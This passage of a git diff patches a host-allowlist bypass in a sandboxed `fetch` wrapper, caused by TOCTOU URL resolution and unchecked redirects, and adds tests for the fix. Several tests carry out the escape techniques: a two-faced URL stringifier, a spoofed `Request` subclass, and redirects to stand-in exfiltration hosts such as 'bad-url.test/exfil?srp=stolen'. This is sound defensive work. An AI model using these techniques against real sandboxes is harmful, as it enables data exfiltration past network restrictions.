diff --git a/packages/kernel-language-model-service/CHANGELOG.md b/packages/kernel-language-model-service/CHANGELOG.md index 0c82cb1ed6..c6d116e546 100644 --- a/packages/kernel-language-model-service/CHANGELOG.md +++ b/packages/kernel-language-model-service/CHANGELOG.md @@ -7,4 +7,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Security + +- `makeHostRestrictedFetch` can no longer reach a host outside `allowedHosts`. The host was checked against one resolution of the input while `fetch` resolved it again (CWE-367), and a redirect out of the allowlist was followed unchecked ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026)) + - `redirect: 'follow'` no longer reaches the hop unchecked, so the `baseFetch` argument is always called with `redirect: 'manual'` and must honour it. A `dispatcher` in `init` is rejected, and a redirect that keeps a body that cannot be sent again now fails + [Unreleased]: https://github.com/MetaMask/ocap-kernel/ diff --git a/packages/kernel-language-model-service/src/ollama/fetch.test.ts b/packages/kernel-language-model-service/src/ollama/fetch.test.ts index 3018f12bbb..cafef80139 100644 --- a/packages/kernel-language-model-service/src/ollama/fetch.test.ts +++ b/packages/kernel-language-model-service/src/ollama/fetch.test.ts @@ -1,4 +1,5 @@ import '@ocap/repo-tools/test-utils/mock-endoify'; +import { makeTwoFacedFetchInput } from '@ocap/repo-tools/test-utils/fetch-input'; import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import { makeHostRestrictedFetch } from './fetch.ts'; @@ -20,7 +21,7 @@ describe('makeHostRestrictedFetch', () => { beforeEach(() => { hardenSpy = vi.spyOn(global, 'harden'); originalFetch = global.fetch; - vi.spyOn(global, 'fetch').mockImplementation(vi.fn()); + vi.spyOn(global, 'fetch').mockResolvedValue(new Response('ok')); restrictedFetch = makeHostRestrictedFetch([mockHost]); }); @@ -42,7 +43,11 @@ describe('makeHostRestrictedFetch', () => { await restrictedFetch(url); - expect(global.fetch).toHaveBeenCalledWith(url); + expect(global.fetch).toHaveBeenCalledWith(url, { + redirect: 'manual', + integrity: '', + headers: expect.any(Headers), + }); }, ); @@ -93,7 +98,12 @@ describe('makeHostRestrictedFetch', () => { await restrictedFetch(mockUrl, options); - expect(global.fetch).toHaveBeenCalledWith(mockUrl, options); + expect(global.fetch).toHaveBeenCalledWith(mockUrl, { + ...options, + redirect: 'manual', + integrity: '', + headers: expect.any(Headers), + }); }); it('should handle Request objects correctly', async () => { @@ -101,7 +111,88 @@ describe('makeHostRestrictedFetch', () => { await restrictedFetch(request); - expect(global.fetch).toHaveBeenCalledWith(request); + const [forwarded] = (global.fetch as ReturnType).mock + .calls[0] as [Request]; + expect(forwarded).toBeInstanceOf(Request); + expect(forwarded).not.toBe(request); + expect(forwarded.url).toBe(mockUrl); + }); + }); + + describe('input that resolves differently on each read', () => { + it('throws rather than quietly fetching whichever URL was shown first', async () => { + await expect( + restrictedFetch( + makeTwoFacedFetchInput(mockUrl, 'http://malicious.com/exfil').input, + ), + ).rejects.toThrow('resolved to a different URL when read again'); + + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it('still host-checks a stringifier that resolves consistently', async () => { + await expect( + restrictedFetch( + makeTwoFacedFetchInput( + 'http://malicious.com/exfil', + 'http://malicious.com/exfil', + ).input, + ), + ).rejects.toThrow('Invalid host: malicious.com'); + + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it('throws for a Request subclass that overrides its url getter', async () => { + class SpoofedRequest extends Request { + override get url(): string { + return mockUrl; + } + } + + await expect( + restrictedFetch(new SpoofedRequest('http://malicious.com/exfil')), + ).rejects.toThrow('Invalid host: malicious.com'); + + expect(global.fetch).not.toHaveBeenCalled(); + }); + }); + + describe('redirects', () => { + const redirectTo = (location: string): Response => + new Response('', { status: 302, headers: { location } }); + + it('throws for a hop to a host outside the allowlist, and never requests it', async () => { + (global.fetch as ReturnType) + .mockResolvedValueOnce(redirectTo('http://malicious.com/exfil')) + .mockResolvedValue(new Response('exfiltrated')); + + await expect(restrictedFetch(mockUrl)).rejects.toThrow( + 'Invalid host: malicious.com, expected: localhost:8080', + ); + expect(global.fetch).toHaveBeenCalledTimes(1); + }); + + it('throws for a hop to another port on the allowed hostname', async () => { + (global.fetch as ReturnType) + .mockResolvedValueOnce(redirectTo('http://localhost:11434/api/chat')) + .mockResolvedValue(new Response('exfiltrated')); + + await expect(restrictedFetch(mockUrl)).rejects.toThrow( + 'Invalid host: localhost:11434', + ); + expect(global.fetch).toHaveBeenCalledTimes(1); + }); + + it('follows a hop that stays on the allowed host', async () => { + (global.fetch as ReturnType) + .mockResolvedValueOnce(redirectTo(`http://${mockHost}/api/moved`)) + .mockResolvedValue(new Response('landed')); + + const response = await restrictedFetch(mockUrl); + + expect(await response.text()).toBe('landed'); + expect(response.redirected).toBe(true); }); }); diff --git a/packages/kernel-language-model-service/src/ollama/fetch.ts b/packages/kernel-language-model-service/src/ollama/fetch.ts index 2bae8156b6..3c0cfd362e 100644 --- a/packages/kernel-language-model-service/src/ollama/fetch.ts +++ b/packages/kernel-language-model-service/src/ollama/fetch.ts @@ -10,29 +10,29 @@ * use the fetch function from global scope to make requests to other hosts. */ +import { makeGuardedFetch } from '@metamask/kernel-utils'; + /** - * Creates a fetch function that only allows requests to the specified origins. + * Creates a fetch function that only allows requests to the specified hosts. + * Matching is against `URL.host`, so the port is significant and the scheme is + * not. See {@link makeGuardedFetch}. * - * @param allowedHosts - The hosts to allow requests from. + * @param allowedHosts - The hosts to allow requests to. * @param baseFetch - The fetch function to use as a base. Defaults to the global fetch function. * @returns A fetch function that only allows requests to the specified hosts. */ export const makeHostRestrictedFetch = ( allowedHosts: string[], baseFetch: typeof fetch = globalThis.fetch, -): typeof fetch => { - const restrictedFetch = async ( - ...[url, ...args]: Parameters - ): ReturnType => { - const { host } = new URL(url instanceof Request ? url.url : url); - if (!allowedHosts.includes(host)) { - throw new Error( - `Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`, - { cause: { url } }, - ); - } - const response = await baseFetch(url, ...args); - return response; - }; - return harden(restrictedFetch); -}; +): typeof fetch => + makeGuardedFetch({ + baseFetch, + guard: async ({ host, href }) => { + if (!allowedHosts.includes(host)) { + throw new Error( + `Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`, + { cause: { url: href } }, + ); + } + }, + }); diff --git a/packages/kernel-test/src/endowments.test.ts b/packages/kernel-test/src/endowments.test.ts index 8ddf55fd6e..b7f4dbd598 100644 --- a/packages/kernel-test/src/endowments.test.ts +++ b/packages/kernel-test/src/endowments.test.ts @@ -65,4 +65,169 @@ describe('endowments', () => { `error: Error: Invalid host: ${badHost}`, ]); }); + + // Regression test for the CWE-367 escape reported in + // MetaMask/MetaMask-planning#7557: a vat handed `fetch` an input that named + // an allowlisted host when the caveat read it and a forbidden host when + // `fetch` read it again. + it('confines a vat that resolves a fetch input differently on each read', async () => { + const vatId: VatId = 'v1'; + const v1Root: KRef = 'ko4'; + const { logger, entries } = makeTestLogger(); + const database = await makeSQLKernelDatabase({}); + const kernel = await makeKernel( + database, + true, + logger, + getWorkerFile('mock-fetch'), + ); + const goodHost = 'good-url.test'; + const badHost = 'bad-url.test'; + await kernel.launchSubcluster({ + bootstrap: 'main', + vats: { + main: { + bundleSpec: getBundleSpec('endowment-fetch'), + parameters: {}, + globals: ['fetch', 'Request', 'Headers', 'Response'], + network: { allowedHosts: [goodHost] }, + }, + }, + }); + await waitUntilQuiescent(); + + const decoyUrl = `https://${goodHost}/decoy`; + const targetUrl = `https://${badHost}/exfil?srp=stolen`; + + await kernel.queueMessage(v1Root, 'fetchWithTwoFacedUrl', [ + decoyUrl, + targetUrl, + ]); + await waitUntilQuiescent(); + + await kernel.queueMessage(v1Root, 'fetchWithSpoofedRequest', [ + decoyUrl, + targetUrl, + ]); + await waitUntilQuiescent(); + + expect(extractTestLogs(entries, vatId)).toStrictEqual([ + 'buildRootObject', + 'bootstrap', + 'error: Error: fetch input resolved to a different URL when read again.', + // Two reads, both the kernel's: it resolves once and checks once. + 'reads: 2', + // The copy defeats the lying getter; see `resolveFetchInput`. + `error: Error: Invalid host: ${badHost}`, + ]); + }); + + // Regression test for the unchecked redirect hop; see `makeGuardedFetch`. + it('confines a vat whose allowed host redirects it elsewhere', async () => { + const vatId: VatId = 'v1'; + const v1Root: KRef = 'ko4'; + const { logger, entries } = makeTestLogger(); + const database = await makeSQLKernelDatabase({}); + const kernel = await makeKernel( + database, + true, + logger, + getWorkerFile('mock-fetch'), + ); + const goodHost = 'good-url.test'; + const badHost = 'bad-url.test'; + await kernel.launchSubcluster({ + bootstrap: 'main', + vats: { + main: { + bundleSpec: getBundleSpec('endowment-fetch'), + parameters: {}, + globals: ['fetch', 'Request', 'Headers', 'Response'], + network: { allowedHosts: [goodHost] }, + }, + }, + }); + await waitUntilQuiescent(); + + const redirectFrom = (target: string): string => + `https://${goodHost}/start?redirectTo=${encodeURIComponent(target)}`; + + await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [ + redirectFrom(`https://${badHost}/exfil?srp=stolen`), + ]); + await waitUntilQuiescent(); + + await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [ + redirectFrom(`https://${goodHost}/landed`), + ]); + await waitUntilQuiescent(); + + expect(extractTestLogs(entries, vatId)).toStrictEqual([ + 'buildRootObject', + 'bootstrap', + `error: Error: Invalid host: ${badHost}`, + `fetched: https://${goodHost}/landed`, + // Overridden all the way through the Snaps endowment, which rebuilds the + // init before calling the real fetch. + 'redirect mode: manual', + 'redirected: true', + 'body: Hello, world!', + ]); + }); + + // The digest is spent on the body the chain ends on; see `makeGuardedFetch`. + it('checks a vat’s integrity against the resource a redirect led to', async () => { + const vatId: VatId = 'v1'; + const v1Root: KRef = 'ko4'; + const { logger, entries } = makeTestLogger(); + const database = await makeSQLKernelDatabase({}); + const kernel = await makeKernel( + database, + true, + logger, + getWorkerFile('mock-fetch'), + ); + const goodHost = 'good-url.test'; + await kernel.launchSubcluster({ + bootstrap: 'main', + vats: { + main: { + bundleSpec: getBundleSpec('endowment-fetch'), + parameters: {}, + globals: ['fetch', 'Request', 'Headers', 'Response'], + network: { allowedHosts: [goodHost] }, + }, + }, + }); + await waitUntilQuiescent(); + + const landed = `https://${goodHost}/landed`; + const start = `https://${goodHost}/start?redirectTo=${encodeURIComponent(landed)}`; + // Of `Hello, world!`, which the mock answers `/landed` with. + const resourceDigest = + 'sha256-MV9b23bQeMQ7isAGTkoBZGErH853yGk0W/yUx1iU7dM='; + const otherDigest = 'sha256-LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ='; + + await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [ + start, + resourceDigest, + ]); + await waitUntilQuiescent(); + + await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [ + start, + otherDigest, + ]); + await waitUntilQuiescent(); + + expect(extractTestLogs(entries, vatId)).toStrictEqual([ + 'buildRootObject', + 'bootstrap', + // Read through the hardened Snaps response wrapper, which the digest is + // checked through too — `fetch` handed the same digest would have held it + // against the 302's body and failed. + 'body: Hello, world!', + `error: Error: Fetch of ${landed} does not match the requested integrity \`${otherDigest}\`.`, + ]); + }); }); diff --git a/packages/kernel-test/src/vats/endowment-fetch.ts b/packages/kernel-test/src/vats/endowment-fetch.ts index d5b96bc24f..7f5e89aef8 100644 --- a/packages/kernel-test/src/vats/endowment-fetch.ts +++ b/packages/kernel-test/src/vats/endowment-fetch.ts @@ -43,6 +43,63 @@ export async function buildRootObject(vatPowers: TestPowers) { throw error; } }, + // The CWE-367 escape from #7557: an input that names the allowed host on + // the caveat's read and a forbidden one on fetch's. + fetchWithTwoFacedUrl: async (decoyUrl: string, targetUrl: string) => { + let reads = 0; + const twoFaced = { + toString: () => { + reads += 1; + return reads === 1 ? decoyUrl : targetUrl; + }, + }; + try { + const response = await fetch(twoFaced as unknown as RequestInfo); + tlog(`fetched: ${response.headers.get('x-fetched-url')}`); + } catch (error) { + tlog(`error: ${String(error)}`); + } + tlog(`reads: ${reads}`); + }, + fetchFollowingRedirect: async (url: string) => { + try { + const response = await fetch(url); + tlog(`fetched: ${response.headers.get('x-fetched-url')}`); + tlog(`redirect mode: ${response.headers.get('x-redirect-mode')}`); + tlog(`redirected: ${String(response.redirected)}`); + // Read through the hardened response wrapper the endowment returns, + // which is not the plain `Response` the unit tests exercise. + tlog(`body: ${await response.text()}`); + } catch (error) { + tlog(`error: ${String(error)}`); + } + }, + fetchWithIntegrity: async (url: string, integrity: string) => { + try { + const response = await fetch(url, { integrity }); + tlog(`body: ${await response.text()}`); + } catch (error) { + tlog(`error: ${String(error)}`); + } + }, + fetchWithSpoofedRequest: async (decoyUrl: string, targetUrl: string) => { + /** + * A `Request` whose `url` getter lies while its internal slot — the one + * `fetch` reads — holds the forbidden host. + */ + class SpoofedRequest extends Request { + /** @returns The decoy URL, not the URL this request was built with. */ + override get url(): string { + return decoyUrl; + } + } + try { + const response = await fetch(new SpoofedRequest(targetUrl)); + tlog(`fetched: ${response.headers.get('x-fetched-url')}`); + } catch (error) { + tlog(`error: ${String(error)}`); + } + }, }); return root; diff --git a/packages/kernel-utils/CHANGELOG.md b/packages/kernel-utils/CHANGELOG.md index c84728c27b..cf4655ff96 100644 --- a/packages/kernel-utils/CHANGELOG.md +++ b/packages/kernel-utils/CHANGELOG.md @@ -9,6 +9,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- Add `makeGuardedFetch` and the `FetchGuard` type, which wrap a `fetch` so that a guard runs before every request it makes, redirect hops included ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026)) + - `redirect: 'follow'`, in the caller's `init` or on a `Request`, is overridden so that each hop can be checked; `manual` and `error` are honoured. `baseFetch` is therefore always called with `redirect: 'manual'` and must honour it + - A `dispatcher` in `init` is rejected, and a redirect that keeps the request body fails when that body cannot be sent again — which includes any `Request` carrying one + - An `integrity`, from `init` or from a `Request`, is withheld from `baseFetch` and checked here against the body the chain ends on. `fetch` would compare it to each hop, so no chain longer than one request could match it. Metadata naming no hash algorithm subresource integrity is defined over is refused rather than ignored as `fetch` ignores it + - Where a runtime answers a manual redirect opaquely instead of with the real response, as browsers do, a redirect fails rather than being followed: the hop cannot be checked +- Add `resolveFetchInput` and the `FetchInput`/`ResolvedFetchInput` types, which resolve a `fetch` input to the URL that will actually be requested and return a stand-in to forward in its place, so the URL checked and the URL requested cannot disagree ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026)) - Add an `interface` variant to `JsonSchema` — `{ type: 'interface', description?, methods }` — describing an object whose methods can be invoked, so a method that returns an object reference can declare that object's API inline and a client need not make a second round-trip to discover it. The `methods` field is recursive, so a returned interface can itself return interfaces. The variant describes an _interface_; whether the reference to the object is unforgeable is a property of the reference plumbing, not of the description ([#1007](https://github.com/MetaMask/ocap-kernel/pull/1007)) - Add a `./described` export with a combinator namespace `S` (`S.string`/`S.number`/`S.boolean`/`S.arrayOf`/`S.record`/`S.object`/`S.nothing` leaves, plus `S.arg`/`S.method`/`S.interface`) that authors an `@endo/patterns` interface guard and a matching `MethodSchema` from a single source, so a discoverable exo's enforced shape and its `__getDescription__` hint cannot drift ([#958](https://github.com/MetaMask/ocap-kernel/pull/958)) - Add an optional `required` field to `MethodSchema` (mirroring `required` on object `JsonSchema`) naming which arguments are required, and a `{ required }` option on `methodArgsToStruct` that validates unlisted arguments as optional, so a method's argument schema can faithfully represent the optional trailing arguments its guard already allows ([#958](https://github.com/MetaMask/ocap-kernel/pull/958)) diff --git a/packages/kernel-utils/src/fetch-input.test.ts b/packages/kernel-utils/src/fetch-input.test.ts new file mode 100644 index 0000000000..a5b1084d7e --- /dev/null +++ b/packages/kernel-utils/src/fetch-input.test.ts @@ -0,0 +1,165 @@ +import { makeTwoFacedFetchInput } from '@ocap/repo-tools/test-utils/fetch-input'; +import { describe, expect, it } from 'vitest'; + +import { resolveFetchInput } from './fetch-input.ts'; + +describe('resolveFetchInput', () => { + it.each([ + { name: 'string', makeInput: () => 'https://example.test/path' }, + { + name: 'URL object', + makeInput: () => new URL('https://example.test/path'), + }, + { + name: 'Request', + makeInput: () => new Request('https://example.test/path'), + }, + ])('resolves the URL of a $name input', ({ makeInput }) => { + const { url } = resolveFetchInput(makeInput()); + expect(url).toBeInstanceOf(URL); + expect(url.href).toBe('https://example.test/path'); + }); + + it('forwards a string input unchanged', () => { + const original = 'https://example.test/path'; + expect(resolveFetchInput(original).input).toBe(original); + }); + + it('forwards a copy of a Request, never the caller’s own', async () => { + const original = new Request('https://example.test/path', { + method: 'POST', + body: 'payload', + headers: { 'x-test': '1' }, + }); + + const forwarded = resolveFetchInput(original).input as Request; + + expect(forwarded).not.toBe(original); + expect(forwarded).toBeInstanceOf(Request); + expect(forwarded.method).toBe('POST'); + expect(forwarded.headers.get('x-test')).toBe('1'); + expect(await forwarded.text()).toBe('payload'); + }); + + it('replaces a URL object with its href', () => { + const { input } = resolveFetchInput(new URL('https://example.test/path')); + expect(input).toBe('https://example.test/path'); + }); + + it('throws for malformed URLs', () => { + expect(() => resolveFetchInput('not a url')).toThrow(/Invalid URL/u); + }); + + it('throws for an input that resolves differently on a second read', () => { + const { input } = makeTwoFacedFetchInput( + 'https://example.test/decoy', + 'https://evil.test/target', + ); + + expect(() => resolveFetchInput(input)).toThrow( + 'fetch input resolved to a different URL when read again.', + ); + }); + + it('accepts a stable stringifier and forwards the string it resolved to', () => { + const { input, getReads } = makeTwoFacedFetchInput( + 'https://example.test/path', + 'https://example.test/path', + ); + const resolved = resolveFetchInput(input); + + expect(resolved.url.href).toBe('https://example.test/path'); + expect(resolved.input).toBe('https://example.test/path'); + expect(getReads()).toBe(2); + }); + + it('reads a Request subclass through the internal slot, not an overridden getter', () => { + class SpoofedRequest extends Request { + override get url(): string { + return 'https://example.test/decoy'; + } + } + const request = new SpoofedRequest('https://evil.test/target'); + + // The override is what naive validation would trust... + expect(request.url).toBe('https://example.test/decoy'); + // ...but `fetch` uses the internal slot, and so does the resolver. + expect(resolveFetchInput(request).url.href).toBe( + 'https://evil.test/target', + ); + expect(new Request(request).url).toBe('https://evil.test/target'); + }); + + it('resolves a Request whose backing state answers differently on each read', () => { + const decoy = 'https://example.test/decoy'; + const target = 'https://evil.test/target'; + const request = new Request(decoy); + + // Tamper with the backing state where the runtime lets us — see + // `resolveFetchInput`. Where it is a private field this loop finds nothing + // to redefine and the assertions below are simply the ordinary case. + for (const key of Object.getOwnPropertySymbols(request)) { + const state = Reflect.get(request, key) as { urlList?: URL[] }; + if (!state?.urlList) { + continue; + } + const tampered = { + ...state, + url: new URL(target), + urlList: [new URL(target)], + }; + let reads = 0; + Object.defineProperty(request, key, { + configurable: true, + get: () => { + reads += 1; + return reads === 1 ? state : tampered; + }, + }); + } + + const resolved = resolveFetchInput(request); + + // The property under test: what `fetch` resolves the forwarded input to is + // what was validated. + expect(resolved.input).not.toBe(request); + expect(new Request(resolved.input as Request).url).toBe(resolved.url.href); + }); + + it('resolves a Request to a URL the caller cannot mutate afterwards', () => { + const href = 'https://example.test/path'; + const request = new Request(href); + // Same conditional tampering as above; here the planted `URL` is mutated + // after the check. + const planted = new URL(href); + for (const key of Object.getOwnPropertySymbols(request)) { + const state = Reflect.get(request, key) as { urlList?: URL[] }; + if (!state?.urlList) { + continue; + } + Object.defineProperty(request, key, { + configurable: true, + value: { ...state, url: planted, urlList: [planted] }, + }); + } + + const resolved = resolveFetchInput(request); + planted.hostname = 'evil.test'; + + expect(resolved.url.href).toBe(href); + expect(new Request(resolved.input as Request).url).toBe(href); + }); + + // A dispatcher planted on the caller's `Request` is shed by the copy that + // precedes the rebuild. Only observable on the wire — the rebuilt `Request` + // keeps a dispatcher out of reach whether or not it carried one — so it is + // asserted against a live server in `guarded-fetch.test.ts`. + + it('throws for an object wearing Request.prototype without the internal slot', () => { + const fake = Object.create(Request.prototype); + Object.defineProperty(fake, 'url', { value: 'https://example.test/decoy' }); + + expect(fake).toBeInstanceOf(Request); + expect(() => resolveFetchInput(fake)).toThrow(TypeError); + }); +}); diff --git a/packages/kernel-utils/src/fetch-input.ts b/packages/kernel-utils/src/fetch-input.ts new file mode 100644 index 0000000000..71ce091df7 --- /dev/null +++ b/packages/kernel-utils/src/fetch-input.ts @@ -0,0 +1,105 @@ +export type FetchInput = Parameters[0]; + +export type ResolvedFetchInput = { + /** The URL that `fetch` will request. */ + url: URL; + /** + * To hand to `fetch` in place of the caller's input: resolving it again + * always yields `url`. The guarantee is over the destination only — a + * `Request` body stream is still the caller's. + */ + input: FetchInput; +}; + +/** + * The `url` accessor is not always an own property of `Request.prototype`: + * jsdom exposes a `Request` subclass whose own prototype carries only + * `constructor`, leaving the accessor a level up. + * + * @returns The accessor, or `undefined` where `url` is a data property rather + * than an accessor, as a polyfill assigning `this.url` leaves it. + */ +const findRequestUrlAccessor = (): ((this: Request) => string) | undefined => { + // Not an `instanceof` guard's problem: this runs at module load, where a + // realm without `Request` would otherwise fail the import outright. + let proto: object | null = + typeof Request === 'undefined' ? null : Request.prototype; + while (proto) { + // Deliberately unbound: applied to whichever `Request` a caller passes. + // eslint-disable-next-line @typescript-eslint/unbound-method + const { get } = Object.getOwnPropertyDescriptor(proto, 'url') ?? {}; + if (get) { + return get as (this: Request) => string; + } + proto = Object.getPrototypeOf(proto); + } + return undefined; +}; + +/** + * Captured at module load so that later tampering cannot redirect the read. + * `fetch` takes a `Request`'s URL from the internal slot this accessor reads, + * whereas `request.url` may be an override on a subclass. + */ +const getRequestUrl = findRequestUrlAccessor(); + +/** + * Resolve a `fetch` input to the URL that will actually be requested, along + * with a stand-in input that cannot resolve to any other URL. + * + * `fetch` accepts any object with a stringifier and stringifies it itself, so + * code that validates `new URL(input)` and then forwards the caller's `input` + * lets the input decide what each read returns — validating one URL while + * requesting another (CWE-367). A `Request` is no safer: a subclass can + * override `url`, and on some runtimes the state behind it is a mutable own + * property. Forwarding the returned `input` closes both: its destination comes + * from a string resolved here, so the check and the request cannot disagree. + * + * The result is deliberately not hardened: `harden` would transitively freeze + * `URL.prototype`. + * + * @param input - The first argument to `fetch`: a string, `URL`, `Request`, or + * anything else `fetch` would stringify. + * @returns The resolved URL and the input to forward in its place. + * @throws If the input does not resolve to a valid absolute URL. + */ +export const resolveFetchInput = (input: FetchInput): ResolvedFetchInput => { + // A string is immutable, so it is already its own stand-in. + if (typeof input === 'string') { + return { url: new URL(input), input }; + } + if (input instanceof Request) { + // Copy first, so that only a genuine `Request`'s internals are read below. + // The rebuild reads its argument as a `RequestInit`, by string name, so a + // `dispatcher` planted on the caller's own object — undici's hook for where + // the bytes go — would route the request anywhere. Also throws for anything + // wearing `Request.prototype` without the backing state. + const genuine = new Request(input); + // Copying alone is not enough: undici on Node 22 keeps a `Request`'s state + // in a configurable own property, so a caller can leave a `URL` it still + // holds in there — copied by reference, mutated after the check, re-read at + // send time. Parsing a string fixes the destination. + // + // Preferring the captured accessor is hardening, not the invariant: whatever + // `href` turns out to be, the guard checks `new URL(href)` and the stand-in + // is built from `url.href`, and `RequestInit` has no `url` member for + // `genuine` to override. So check and request are pinned to the same string + // either way; reading the slot only denies a lying subclass the choice of + // which URL gets submitted for approval. + const href = getRequestUrl ? getRequestUrl.call(genuine) : genuine.url; + const url = new URL(href); + return { url, input: new Request(url.href, genuine) }; + } + // A `URL`, or an object with a stringifier. Parsed from the captured + // primitive, so `input` is never consulted again. + const href = String(input); + const url = new URL(href); + // Forwarding a primitive already makes a second read harmless, but an input + // that answers differently each time is an escape attempt, not a mistake: + // surface it rather than silently requesting whichever URL came first. + if (String(input) !== href) { + throw new Error('fetch input resolved to a different URL when read again.'); + } + return { url, input: url.href }; +}; +harden(resolveFetchInput); diff --git a/packages/kernel-utils/src/guarded-fetch.test.ts b/packages/kernel-utils/src/guarded-fetch.test.ts new file mode 100644 index 0000000000..948cb72243 --- /dev/null +++ b/packages/kernel-utils/src/guarded-fetch.test.ts @@ -0,0 +1,1417 @@ +import { fetchMock } from '@ocap/repo-tools/test-utils/fetch-mock'; +import http from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { + afterAll, + afterEach, + beforeAll, + describe, + expect, + it, + vi, +} from 'vitest'; + +import { makeGuardedFetch } from './guarded-fetch.ts'; +import type { FetchGuard } from './guarded-fetch.ts'; + +type ReceivedRequest = { + method: string; + path: string; + body: string; + headers: http.IncomingHttpHeaders; +}; + +type Responder = ( + request: http.IncomingMessage, + response: http.ServerResponse, +) => void; + +type TestServer = { + port: number; + received: ReceivedRequest[]; + respondWith: (responder: Responder) => void; +}; + +const running: http.Server[] = []; + +/** + * Start a loopback HTTP server that records what it receives. Bound on every + * interface rather than one address, so that `localhost` and `127.0.0.1` both + * reach it and can stand in for an allowed and a forbidden host. + * + * @returns A handle on the running server. + */ +const startServer = async (): Promise => { + const received: ReceivedRequest[] = []; + let responder: Responder = (_request, response) => { + response.writeHead(200, { 'content-type': 'text/plain' }); + response.end('landed'); + }; + const server = http.createServer((request, response) => { + let body = ''; + request.setEncoding('utf8'); + request.on('data', (chunk: string) => { + body += chunk; + }); + request.on('end', () => { + received.push({ + method: request.method as string, + path: request.url as string, + body, + headers: request.headers, + }); + responder(request, response); + }); + }); + running.push(server); + await new Promise((resolve) => { + server.listen(0, resolve); + }); + return { + port: (server.address() as AddressInfo).port, + received, + respondWith: (next: Responder) => { + responder = next; + }, + }; +}; + +const redirectTo = + (status: number, location: string): Responder => + (_request, response) => { + response.writeHead(status, { location }); + response.end('redirecting'); + }; + +// Digests of `landed`, the body a chain here ends on, and of `redirecting`, the +// body of the hops on the way — a digest of the resource is what a caller +// writes, and a digest of a hop is what checking the wrong body would want. +const LANDED_SHA256 = 'sha256-eO4Sxl1Ae6BpTfkQxrgVk4v2EZ9yiL1yCkjJjhGvV7w='; +const LANDED_SHA512 = + 'sha512-/WP9o53KurTHJ4rql4UaN6JkP9KbZN0hjdcXgkhQUJRrZZJ3YGPrVXQZItUilpNBzTYdAX1qONrclS0/J0JW2A=='; +const REDIRECTING_SHA256 = + 'sha256-etTf+nmjsDY8FN+ggw4Pdq7I90HT0Yr84x9CY6XgiLY='; + +// Allows `localhost` only, so `127.0.0.1` is a forbidden host on the same +// loopback interface. +const allowLocalhost: FetchGuard = async (url: URL) => { + if (url.hostname !== 'localhost') { + throw new Error(`Invalid host: ${url.hostname}`); + } +}; + +// For tests about what a hop carries rather than where it goes. +const allowAnyHost: FetchGuard = async () => undefined; + +const guardedLoopback = (guard: FetchGuard = allowLocalhost): typeof fetch => + makeGuardedFetch({ baseFetch: fetch, guard }); + +// A server that redirects to a second one. `host` picks the name the second is +// reached by, so the hop can be made to leave the allowlist or stay inside it. +const startRedirect = async ({ + status = 302, + host = 'localhost', + path = '/landed', +}: { status?: number; host?: string; path?: string } = {}): Promise<{ + start: TestServer; + destination: TestServer; +}> => { + const destination = await startServer(); + const start = await startServer(); + start.respondWith( + redirectTo(status, `http://${host}:${destination.port}${path}`), + ); + return { start, destination }; +}; + +// Redirect each path in `routes` to the location it maps to, answering anything +// else with `body`. +const redirectRoutes = + ( + routes: Record, + { status = 302, body = 'landed' }: { status?: number; body?: string } = {}, + ): Responder => + (request, response) => { + const location = routes[request.url as string]; + if (location) { + response.writeHead(status, { location }); + response.end(); + return; + } + response.writeHead(200); + response.end(body); + }; + +/** + * A request body that cannot be sent twice. + * + * @param text - What the stream yields. + * @returns The body, and the `duplex` that sending a stream requires. + */ +const streamBody = (text: string): RequestInit => ({ + // ReadableStream is flagged experimental for Node 22, but this case works. + // eslint-disable-next-line n/no-unsupported-features/node-builtins + body: new ReadableStream({ + start: (controller) => { + controller.enqueue(new TextEncoder().encode(text)); + controller.close(); + }, + }), + duplex: 'half', +}); + +describe('makeGuardedFetch', () => { + beforeAll(() => { + // Redirect handling is undici's behaviour as much as ours, so these tests + // run against live servers; the repo-wide fetch mock would answer instead. + fetchMock.disableMocks(); + }); + + afterAll(() => { + fetchMock.enableMocks(); + }); + + afterEach(async () => { + await Promise.all( + running.splice(0).map( + async (server) => + await new Promise((resolve) => { + server.close(() => resolve()); + }), + ), + ); + }); + + it('passes a request the guard allows straight through', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${server.port}/thing`); + + expect(await response.text()).toBe('landed'); + expect(response.redirected).toBe(false); + expect(response.url).toBe(`http://localhost:${server.port}/thing`); + }); + + it('refuses a request the guard rejects', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + await expect(guarded(`http://127.0.0.1:${server.port}/`)).rejects.toThrow( + 'Invalid host: 127.0.0.1', + ); + expect(server.received).toStrictEqual([]); + }); + + describe('redirects', () => { + it('refuses a redirect to a host the guard rejects, and never contacts it', async () => { + const { start: allowed, destination: forbidden } = await startRedirect({ + host: '127.0.0.1', + path: '/secrets', + }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${allowed.port}/start`), + ).rejects.toThrow('Invalid host: 127.0.0.1'); + + expect(allowed.received).toHaveLength(1); + expect(forbidden.received).toStrictEqual([]); + }); + + it('follows a redirect the guard allows and returns the final response', async () => { + const { start: first, destination: second } = await startRedirect(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${first.port}/start`); + + expect(await response.text()).toBe('landed'); + expect(response.url).toBe(`http://localhost:${second.port}/landed`); + expect(response.redirected).toBe(true); + expect(second.received[0]?.path).toBe('/landed'); + }); + + it('follows a chain of allowed hops and re-runs the guard on each', async () => { + const server = await startServer(); + const origin = `http://localhost:${server.port}`; + server.respondWith( + redirectRoutes( + { '/one': `${origin}/two`, '/two': `${origin}/three` }, + { body: 'arrived' }, + ), + ); + const guard = vi.fn(allowLocalhost); + const guarded = makeGuardedFetch({ baseFetch: fetch, guard }); + + const response = await 